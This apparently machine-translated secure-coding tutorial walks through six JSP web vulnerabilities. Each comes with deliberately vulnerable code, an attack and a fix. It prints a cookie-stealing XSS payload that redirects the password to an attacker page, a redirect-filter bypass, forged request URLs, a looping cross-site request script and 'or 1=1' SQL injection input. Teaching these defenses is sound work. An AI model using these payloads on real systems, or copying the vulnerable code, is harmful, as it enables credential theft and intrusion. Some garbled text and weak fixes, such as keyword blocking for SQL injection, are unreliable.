Web security programming practices

Source: Internet
Author: User

Note: although all examples in this article are developed based on JSP/Servlet technology, the principles of vulnerabilities and solutions are applicable to other Web technologies.

Web security status quo

The current situation of Web security is not optimistic. In recent years, there have also been major practical cases of Web attacks, such as the hacking of the website of the Ministry of Information Industry's official newspaper "China e-news" and the theft of College Students' Online Banking. According to another survey, SQL injection, XSS, and cross-site scripting (XSS) attacks account for a majority of common website attacks. Attackers often do not have a clear purpose. Some attacks cannot bring benefits to them. They are just out of the curiosity of beginners and the sense of accomplishment of attack success. That is to say, many attacks are caused by beginners. In fact, as many novice hackers can defend against attacks, as long as we understand the basic principles, we can cope with the attacks of many cainiao hackers and reduce O & M costs. So the article once again stressed that Web programmers need to pay attention to programming habits and try their best to ensure the security of the website.

 

Practice

Based on the actual JSP Example, this article tries its best to explain the cause of the security problem. These sample codes are self-developed JSP, which is also a problem code that many people are easy to write when learning JSP. The Code does not seem to have any problems, but there are often huge vulnerabilities. Although the example is simple, it can explain the problem. This article uses six examples to describe the six Web attack methods and principles, as well as the convenience of defense for programmers. You can view the effect in the image description. The order of the six Web vulnerabilities is shown in the following table. You can also click to view the information you are interested in.

  • Reflected XSS Vulnerability
  • Saved XSS Vulnerability
  • Redirection Vulnerability
  • Site Request Vulnerability
  • Cross-Site Request Vulnerability
  • SQL Injection Vulnerability

In the attachment code of the article, it contains the sample programs for each of the above list items. Each list item corresponds to a separate project folder named after the vulnerability name, which can be opened directly using Jee Eclipse.

Problem code-reflected XSS Vulnerability

The reflected XSS vulnerability is a very common Web vulnerability because the program dynamically displays the content submitted by the user, but does not restrict the content displayed. Therefore, attackers can design the content as an attack script and entice victims to display the Attack Script as the content. In fact, the attack script starts to be executed when the victim opens the script, attackers can exploit this vulnerability to steal information from victims.

The example is a program that dynamically displays error information. The error information can be transmitted in the URL. When displayed, the server does not apply any restrictions and meets the reflected XSS attack conditions.


Listing 1. index. jsp main code
<Form action = "ReflectXSSServer" method = "post"> username: <input type = "text" name = "username" value = ""/> <br> password & nbsp; code: <input type = "password" name = "password" value = ""/> <br> <input type = "submit" value = "submit"/> </form>


Listing 2. ReflectXSSServe. java main code
String username = request. getParameter ("username"); String password = request. getParameter ("password"); // Add User information to the Cookie to facilitate the next automatic login to addToCookie ("username", username); addToCookie ("password", password); request. getRequestDispatcher ("error. jsp? Error = password is wrong! "). Forward (request, response );


Listing 3. error. jsp main code
 Error Message :<%=request.getParameter("error")%> 

Index. jsp serves as the user logon interface, and submits a Logon Request to ReflectXSSServe. java. ReflectXSSServe. java processes login requests and records the user name and password to the cookie to facilitate the next login. If the logon information is incorrect (the example code directly considers the error), the system jumps to error. jsp and displays the error information. The error information is transmitted through the parameter named error.

Problem Analysis

The code is simple and logical, but this program exposes a serious problem that the error message is transmitted through parameters and displayed without any processing. If attackers know that such an error. jsp exists, attackers can easily attack users and obtain important user information.

Attack this program

You can design a URL: http: // localhost: 8080/application/error. jsp? Error =<Script> var mess = document. cookie. match (new % 20 RegExp ("password = ([^;] *)") [0]; window. location = "http: // localhost: 8080/attacter/index. jsp? Info = "% 2 Bmess </script>. This looks a bit complicated. Let's analyze it. Http: // localhost: 8080/application/error. jsp? Error = this part is the address of error. jsp. We mainly care about the following error information. This is a javascript script,Document. cookie. match (new % 20 RegExp ("password = ([^;] *)") [0]To obtain the value named password in the cookie. Then, the attacker's website is redirected through window. location, And the password is passed as a parameter. In this way, the attacker will know your password. Later, you only need to have the attacker log on and click this URL.

To allow attackers to click on this URL, attackers often construct webpages or emails that can attract attackers. This method is called phishing attacks. When an attacker logs on to the application system, the cookie stores the username and password information. Because the subject of the designed URL is a trusted website, attackers do not hesitate to click the URL designed by the attacker. Therefore, the designed script is embedded into the error as information. in jsp, it will start execution as a script, and the user name and password will be stolen.


Figure 1. User Logon page

The user enters the user name and password, respectively, user and pass. After logon, the user is attacked by phishing and clicks the URL designed by the attacker.


Figure 2. Trick a user into clicking a URL

The URL designed by the attacker contains the Attack Script. After the attack script is executed, the password content is uploaded to another website. This application is attacter (included in the attachment ), password information is recorded in the attacker's database.


Figure 3. Attack success page

Solution

Do not directly display the data submitted by the user, and filter the data. For example, the symbols such as <and> in the data must be encoded to prevent script attacks.

Problem code-saved XSS Vulnerability

The saved XSS vulnerability causes greater harm. It saves the attack script to the attacked webpage. All users who browse the webpage must execute this attack script.

In this example, a web page is used to comment on a forum. The system saves user comments directly to the database on the server without any restrictions or verification (the example uses a global object instead of a database as an example ). All comments are displayed when other users view the webpage.


Listing 4. Main Code of saveXSS. jsp
<Jsp: useBean id = "tl" scope = "application" class = "java. util. export List "> </jsp: useBean> <% String topic = (String) request. getParameter ("topic"); if (topic! = Null &&! Topic. equals ("") {tl. add (topic) ;}%> <div> <% for (Object obj: tl) {String str = (String) obj; %> <div> <% = str %> <div/> <% }%> </div> <form action = "saveXSS. jsp "method =" post "> comment: <input type = "text" name = "topic"/> <br> <input type = "submit" value = "submit"/> </form>

Here, an application-level List object is used to store the comment List, just for convenience of demonstration. You can write comments in form and submit them to saveXSS. jsp on the same page. After the comments are submitted, the comments are added to the List object and displayed.

Problem Analysis

This program meets all the stored XSS attack conditions and does not limit the comment content. The program will save all the comments and display them to the users who view the webpage. As long as the attacker uses the Attack Script as the comment content, all users who view the comment will be attacked by executing the Attack Script.

Attack this program

The attack script to be designed to attack this program is the same as the error content shown above, but note that no encoding is required this time. Change % 20 to space, and change % 2B to +, the cause is that in the above example, data is transmitted through a URL, and data is transmitted directly through a form. Attack script: <script> var mess = document. cookie. match (new RegExp ("password = ([^;] *)") [0]; window. location = "http: // localhost: 8080/attacter/index. jsp? Info = "+ mess </script>, which is used as a comment. When other users view this webpage, the attack script code is embedded into the webpage as content, the attack script is triggered and the user is under attack. The script execution process is consistent with the reflected XSS attack.


Figure 4. Comment page

The published content is an attack script designed by the attacker, which is directly saved to the webpage. Other users who view this page will be stolen.


Figure 5. Submit the Attack Script

> Solution

The stored XSS vulnerability is inevitable because we need to display the data submitted by users, so filtering is inevitable. The symbols such as <and> can prevent the above vulnerability.

Problem code-Redirection Vulnerability

If the application extracts user-controllable input and uses this data to execute a redirection, which instructs the user's browser to access a URL different from the user's requirements, the redirection vulnerability will occur.

In this example, you can enter a redirection path that is redirected by the server.


Listing 5. index. jsp main code
<Form action = "Redirect"> address: <input name = "target" type = "text"> <br> <input type = "submit" value = "submit"> </form>


Listing 6. Main Code of Redirect. java
 String param = request.getParameter("target");  if (param != null && !param.equals(""))  {  response.sendRedirect(param);  } 

The user enters the jump path in the index. jsp form, and the server-side Redirect. java executes sendRedirect redirection.

Problem Analysis

The program allows the user to set a redirection address, instead of verifying and processing the address content, but directly redirecting. Therefore, the attacker can design an attack URL that contains the attack content designed by the attacker, attackers use phishing attacks to trick users into clicking this URL.

Attack this program

Design URL: http://www.baidu.com, here just jump as an example, and did not build really harmful websites, so use a normal address as a demonstration, assuming this address has a lot of harmful information. Http: // the header is very important. It enables the server to perform an absolute jump and jump to www.baidu.com. Without http: //, the system will jump to the relative path.


Figure 6. input path

Click Submit to go To the Baidu page.

Someone tried to handle the redirection path param: param = param. replaceFirst ("http: //", ""); Replace the first http: // with an empty string. This can solve the problem, but attackers are often smart, he will change the URL to: http: //. Even if the first one is replaced, the next day http: // will take effect. So what if we do this for param: param = param. replaceAll ("http: //", ""); replace all http: //, attackers can design the URL as htHttp ://Tp: //, after the http: // in the middle is replaced with null, the combination of ht and tp: // becomes http: //, and the attack takes effect again, we need a more comprehensive consideration.

Solution

Avoid the page that the user decides to jump to. If this is required, only the page in the path can appear/AndNumberOrEnglishThis problem can be avoided to some extent.

Problem code-Site Request Vulnerability

The on-site request forgery (OSRF) is a common attack payload that exploits the stored XSS vulnerability. Attackers design attack code and save it to the attacked webpage. When common users or administrators view the page, the attack code is executed, the purpose of this attack code is to send a request to the server as a Web page user.

This is an example of a forum that publishes images. Users can enter an image URL. The Forum reads this URL for display.

Img. jsp is the same as the preceding saveXSS. jsp code, but this display is not a string, but needs

<Div> <% = str %> <div/> to <div> width = 50 height = 50/> <div/>, the purpose is to display User-uploaded images.


Listing 7. Main admin. jsp code
 <%  String username = (String)request.getParameter("username");  System.out.println("delete " + username);  %>  <%=username%> 

Admin. jsp is the request processing program used by the Administrator to delete users. admin. jsp should actually determine whether it is an administrator account. If so, the user can be deleted. This example assumes that the request is indeed sent by the Administrator.

Problem Analysis

The stored XSS vulnerability exists in this program, and the uploaded content is used as the image URL. the img tag is the stepping stone for the site Request Vulnerability because img always executes the URL request of the src attribute, regardless of whether src points to a real image or not. This program does not verify whether src is an image address, so it can forge a request.

Attack this program

Design the uploaded image URL as admin. jsp? Username = hello. After being submitted, from the attacker's perspective, the image is not displayed. Because the attacker is not an administrator, the user "hello" cannot be deleted. But when the Administrator opens this page, the img tag will execute admin. jsp? Username = hello request, request to delete the hello user, because it is indeed a request sent by the Administrator, the server executes the delete operation, delete the hello user, the attacker's goal is achieved.


Figure 7. Enter the attack URL


Figure 8. URL submitted by attackers

The attacker clicks to submit, but the image is not displayed. However, after the Administrator logs on to the console, the user deletion operation in admin. jsp is executed. In this example, the deletion message is printed to the console.


Figure 9. admin. jsp console output

Solution

Similar to the solution in the saved XSS vulnerability section, you not only need to restrict scripts, but also need to determine whether the src attribute in the img label is secure and whether it contains a url that is not an image.

Problem code-Cross-Site Request Vulnerability

The Cross-Site Request Vulnerability is a relatively hidden vulnerability. The attack code that sends requests does not exist on the attacked website, but uses the Cross-Site Request feature of the browser (allowed by IE6, fireFox and Chrome are disabled. The so-called cross-site approach is to open the web pages A and B of different websites in the same browser at the same time. If B sends A request to website A at this time, website A considers the request sent by webpage A and accepts the request.

The example program uses a Cross-Site Request Vulnerability to attack login users.


Listing 8. Main Code of Attacker. jsp
<Script type = "text/javascript"> setInterval (attack, 3000); function attack () {// continuously sends logs to UserLogin. java sends a request $. post ("http: // localhost: 8080/KuaZhanDian/UserLogin") ;}</script> 


Listing 9. Main Code of UserLogin. java
String parameter = request. getParameter ("username"); if (parameter! = Null &&! Parameter. equals ("") {(1) request. getSession (). setAttribute ("username", parameter);} else {(2) Object attribute = request. getSession (). getAttribute ("username"); if (attribute! = Null) {System. out. println (attribute + "intruded ");}}

There is also an index. jsp, which is directed to UserLogin. java initiates a login request. Note: Attacker. jsp is a Web page of another website used to attract attacked users. This web page repeatedly sends requests to UserLogin. For convenience, JQuery is used for ajax development. In UserLogin. java, the entry location (1) indicates normal user logon. The entry location (2) indicates the user's post-processing user requests.

Problem Analysis

The vast majority of websites do not consider cross-site vulnerabilities because they may occur. First, the attacker must confirm that the attacker is using a browser that allows cross-site requests. Second, the attacker must simultaneously open the website designed by the attacker and log on to the above UserLogin. If both conditions are met, You can launch an attack.

Attack this program

Attackers can exploit this vulnerability to open and design the tempting website Attacker. jsp. Therefore, requests start to be sent continuously because the server considers that requests are not sent by legitimate users and will not be processed. At the same time, the Attacker logged on to the normal application UserLogin, which records the session information logged on by the Attacker, when Attacker. jsp sends a request again (Note: Attacker. jsp sends requests cyclically.) When a request is sent to UserLogin, UserLogin processes the request as a normal request because it has been logged on by the attacker. The attack is achieved.

In fact, it takes some steps to successfully launch an attack. The following pictures are arranged according to the attack steps.


Figure 10. User Logon

After a user logs on, the user does not close the page and opens the webpage designed by the attacker.


Figure 11. Phishing attacks on users

At this time, the attacker's page keeps sending requests to the server. the user does not know that the server considers the request as a normal request by helloworld and executes the request.


Figure 12. Attack information output on the console

Solution

The server can send a unique ID to the client. When the client sends a request, the request must be sent together with the ID. The server can determine whether the ID is correct before executing the request.

Problem code-SQL Injection Vulnerability

SQL injection is a specially designed data submitted by attackers. When the server uses this data to synthesize SQL statements, SQL statements lose the developer's original intention and change the semantics. Executed destructive SQL statements.

This is an example of user logon, which is also the most common cause of the SQL injection vulnerability. The attacker has carefully designed the user name and password so that the attacker can use the wrong user name and password to log on to the application.


Listing 10. Main LoginServer. java code
 String username = request.getParameter("username");  String password = request.getParameter("password");  if (username != null && password != null) {  String sql = "SELECT username FROM USER WHERE username=" + username  + " AND password=" + password + " LIMIT 1";  System.out.println(sql);  } 

LoginServer. java is responsible for processing login requests and executing SQL statements to determine whether the user can log on. The actual SQL statement is output here, so that we can determine whether an attack has been received.

Problem Analysis

The program does not process the user name and password of the login request.

Attack this program

Design the username and password as username or 1 = 1 and password or 1 = 1 respectively. If you upload this data, the SQL statement runs SELECT username FROM USER WHERE username = username or 1 = 1.

AND password = password or 1 = 1 LIMIT 1, it can be seen that the WHERE statement actually returns true, although the attacker does not know the real user name AND password of the login user, however, you can log on smoothly and perform operations on this user. This is the severity of SQL injection.

In Figure 13, the username and password entered by the user are user_name and pass_word, respectively.


Figure 13. User Logon

Click log on to the console to output the actually executed SQL statement:

SELECT username from user where username = user_name AND password = pass_word LIMIT 1 is a normal SQL statement.

Change the user name and password to user_name or 1 = 1, pass_word or 1 = 1.

The console outputs the actually executed SQL statement:

SELECT username from user where username = user_name or 1 = 1 AND password = pass_word or 1 = 1 LIMIT 1 SQL Injection successful.

Solution

Restrict SQL keywords such as. ==>< in the data uploaded by a user. If the data contains any SQL keywords, an error is returned, forbidding the user to pass dangerous characters.

Other Web security problems

There are still many security issues on the Web, as shown in the following list. These problems can be prevented and prevented by code to a large extent. Interested readers can learn more about these security issues.

  • Code execution)
  • Directory traversal (Directory traversal)
  • File inclusion sion)
  • Script source code disclosure)
  • CRLF injection/Http response splitting)
  • PHP code injection)
  • XPath injection
  • Cookie manipulation)
  • Google Hacking
  • Framework Injection
  • JSON hijacking
  • Fixed session
  • ActiveX Vulnerability
  • Attack cache Web Content
  • Persistent cookie Vulnerability
 

How to Improve code Quality

To improve the quality of your code, you should insist that your data is insecure. After understanding the attack principles, verify the data submitted by the user as much as possible.

 

Summary

The example written in this article is written by the author based on experience and representative. Due to the limited level of knowledge of the author, please contact me if there is any error

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.